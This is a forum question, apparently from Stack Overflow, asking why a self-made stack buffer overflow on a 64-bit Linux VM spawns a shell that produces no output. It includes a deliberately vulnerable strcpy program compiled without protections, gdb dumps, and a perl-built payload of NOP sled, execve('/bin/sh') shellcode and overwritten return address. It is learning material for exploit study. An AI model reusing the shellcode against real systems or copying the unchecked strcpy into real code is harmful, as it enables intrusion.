I'm trying to test a buffer overflow on my 64-bit linux virtual machine. I have trouble to do it : The program stop, the shell seems to be launched but I don't receive the result of my instructions.
My C code (vulnerable) is :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void func(char *arg)
{
char buffer[64];
strcpy(buffer,arg);
printf("%s\n", buffer);
}
int main(int argc, char *argv[])
{
if(argc != 2) printf("binary \n");
else func(argv[1]);
return 0;
}
alsr is off, I compile with
gcc test.c -o test -fno-stack-protector -z execstack
func is my vulnerable function. When I disassemble it I find :
0x000000000040057d <+0>: push %rbp
0x000000000040057e <+1>: mov %rsp,%rbp
0x0000000000400581 <+4>: sub $0x50,%rsp
0x0000000000400585 <+8>: mov %rdi,-0x48(%rbp)
0x0000000000400589 <+12>: mov -0x48(%rbp),%rdx
0x000000000040058d <+16>: lea -0x40(%rbp),%rax
0x0000000000400591 <+20>: mov %rdx,%rsi
0x0000000000400594 <+23>: mov %rax,%rdi
0x0000000000400597 <+26>: callq 0x400450 <strcpy@plt>
0x000000000040059c <+31>: lea -0x40(%rbp),%rax
0x00000000004005a0 <+35>: mov %rax,%rdi
0x00000000004005a3 <+38>: callq 0x400460 <puts@plt>
0x00000000004005a8 <+43>: leaveq
0x00000000004005a9 <+44>: retq
main :
0x00000000004005aa <+0>: push %rbp
0x00000000004005ab <+1>: mov %rsp,%rbp
0x00000000004005ae <+4>: sub $0x10,%rsp
0x00000000004005b2 <+8>: mov %edi,-0x4(%rbp)
0x00000000004005b5 <+11>: mov %rsi,-0x10(%rbp)
0x00000000004005b9 <+15>: cmpl $0x2,-0x4(%rbp)
0x00000000004005bd <+19>: je 0x4005cb <main+33>
0x00000000004005bf <+21>: mov $0x400674,%edi
0x00000000004005c4 <+26>: callq 0x400460 <puts@plt>
0x00000000004005c9 <+31>: jmp 0x4005de <main+52>
0x00000000004005cb <+33>: mov -0x10(%rbp),%rax
0x00000000004005cf <+37>: add $0x8,%rax
0x00000000004005d3 <+41>: mov (%rax),%rax
0x00000000004005d6 <+44>: mov %rax,%rdi
0x00000000004005d9 <+47>: callq 0x40057d <func>
0x00000000004005de <+52>: mov $0x0,%eax
0x00000000004005e3 <+57>: leaveq
0x00000000004005e4 <+58>: retq
I've put a breakpoint at 0x000000000040059c in func (just after callq 0x400450 strcpy@plt). If I run with
run `perl -e 'print "A"x27`
I have :
(gdb) x/24xw $rsp
0x7fffffffe520: 0xffffffff 0x00000000 0xffffe8b3 0x00007fff
0x7fffffffe530: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe540: 0x41414141 0x41414141 0x00414141 0x00000000
0x7fffffffe550: 0x00000001 0x00000000 0x0040063d 0x00000000
0x7fffffffe560: 0xffffe590 0x00007fff 0x00000000 0x00000000
0x7fffffffe570: 0xffffe590 0x00007fff 0x004005de 0x00000000
The end of the print is the adresse next to callq 0x40057d <func>
in main (0x00000000004005de), so it seems to be the save of %rip I want to erase. So I construct my run command to do that :
run `perl -e 'print "\x90"x27 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x10\xe5\xff\xff\xff\x7f\x00\x00"'`
But when I run it, the program is interrupted but it does not give the result of the instructions :
(gdb) run `perl -e 'print "\x90"x27 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x10\xe5\xff\xff\xff\x7f\x00\x00"'`
Starting program: /home/vagrant/hackndo/test `perl -e 'print "\x90"x27 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x10\xe5\xff\xff\xff\x7f\x00\x00"'`
Breakpoint 1, 0x000000000040059c in func ()
(gdb) continue
Continuing.
????????????????????????????^?1??F?F
?
???V
̀1ۉ?@̀?????/bin/sh????
echo $PATH
echo $PATH
I tried to print instructions I've put in the buffer :
(gdb) x/50i 0x7fffffffe500
0x7fffffffe500: nop
0x7fffffffe501: nop
0x7fffffffe502: nop
0x7fffffffe503: nop
0x7fffffffe504: nop
0x7fffffffe505: nop
0x7fffffffe506: nop
0x7fffffffe507: nop
0x7fffffffe508: nop
0x7fffffffe509: nop
0x7fffffffe50a: nop
0x7fffffffe50b: nop
0x7fffffffe50c: nop
0x7fffffffe50d: nop
0x7fffffffe50e: nop
0x7fffffffe50f: nop
0x7fffffffe510: nop
0x7fffffffe511: nop
0x7fffffffe512: nop
0x7fffffffe513: nop
0x7fffffffe514: nop
0x7fffffffe515: nop
0x7fffffffe516: nop
0x7fffffffe517: nop
0x7fffffffe518: nop
0x7fffffffe519: nop
0x7fffffffe51a: nop
0x7fffffffe51b: jmp 0x7fffffffe53c
0x7fffffffe51d: pop %rsi
0x7fffffffe51e: mov %esi,0x8(%rsi)
0x7fffffffe521: xor %eax,%eax
0x7fffffffe523: mov %al,0x7(%rsi)
0x7fffffffe526: mov %eax,0xc(%rsi)
0x7fffffffe529: mov $0xb,%al
0x7fffffffe52b: mov %esi,%ebx
0x7fffffffe52d: lea 0x8(%rsi),%ecx
0x7fffffffe530: lea 0xc(%rsi),%edx
0x7fffffffe533: int $0x80
0x7fffffffe535: xor %ebx,%ebx
0x7fffffffe537: mov %ebx,%eax
0x7fffffffe539: rex int $0x80
0x7fffffffe53c: callq 0x7fffffffe51d
0x7fffffffe541: (bad)
0x7fffffffe542: (bad)
0x7fffffffe543: imul $0xe5106873,0x2f(%rsi),%ebp
0x7fffffffe54a: (bad)
0x7fffffffe54b: (bad)
0x7fffffffe54c: (bad)
0x7fffffffe54d: jg 0x7fffffffe54f
0x7fffffffe54f: add %cl,-0x1a(%rax)
Do you have any ideas ?
User contributions licensed under CC BY-SA 3.0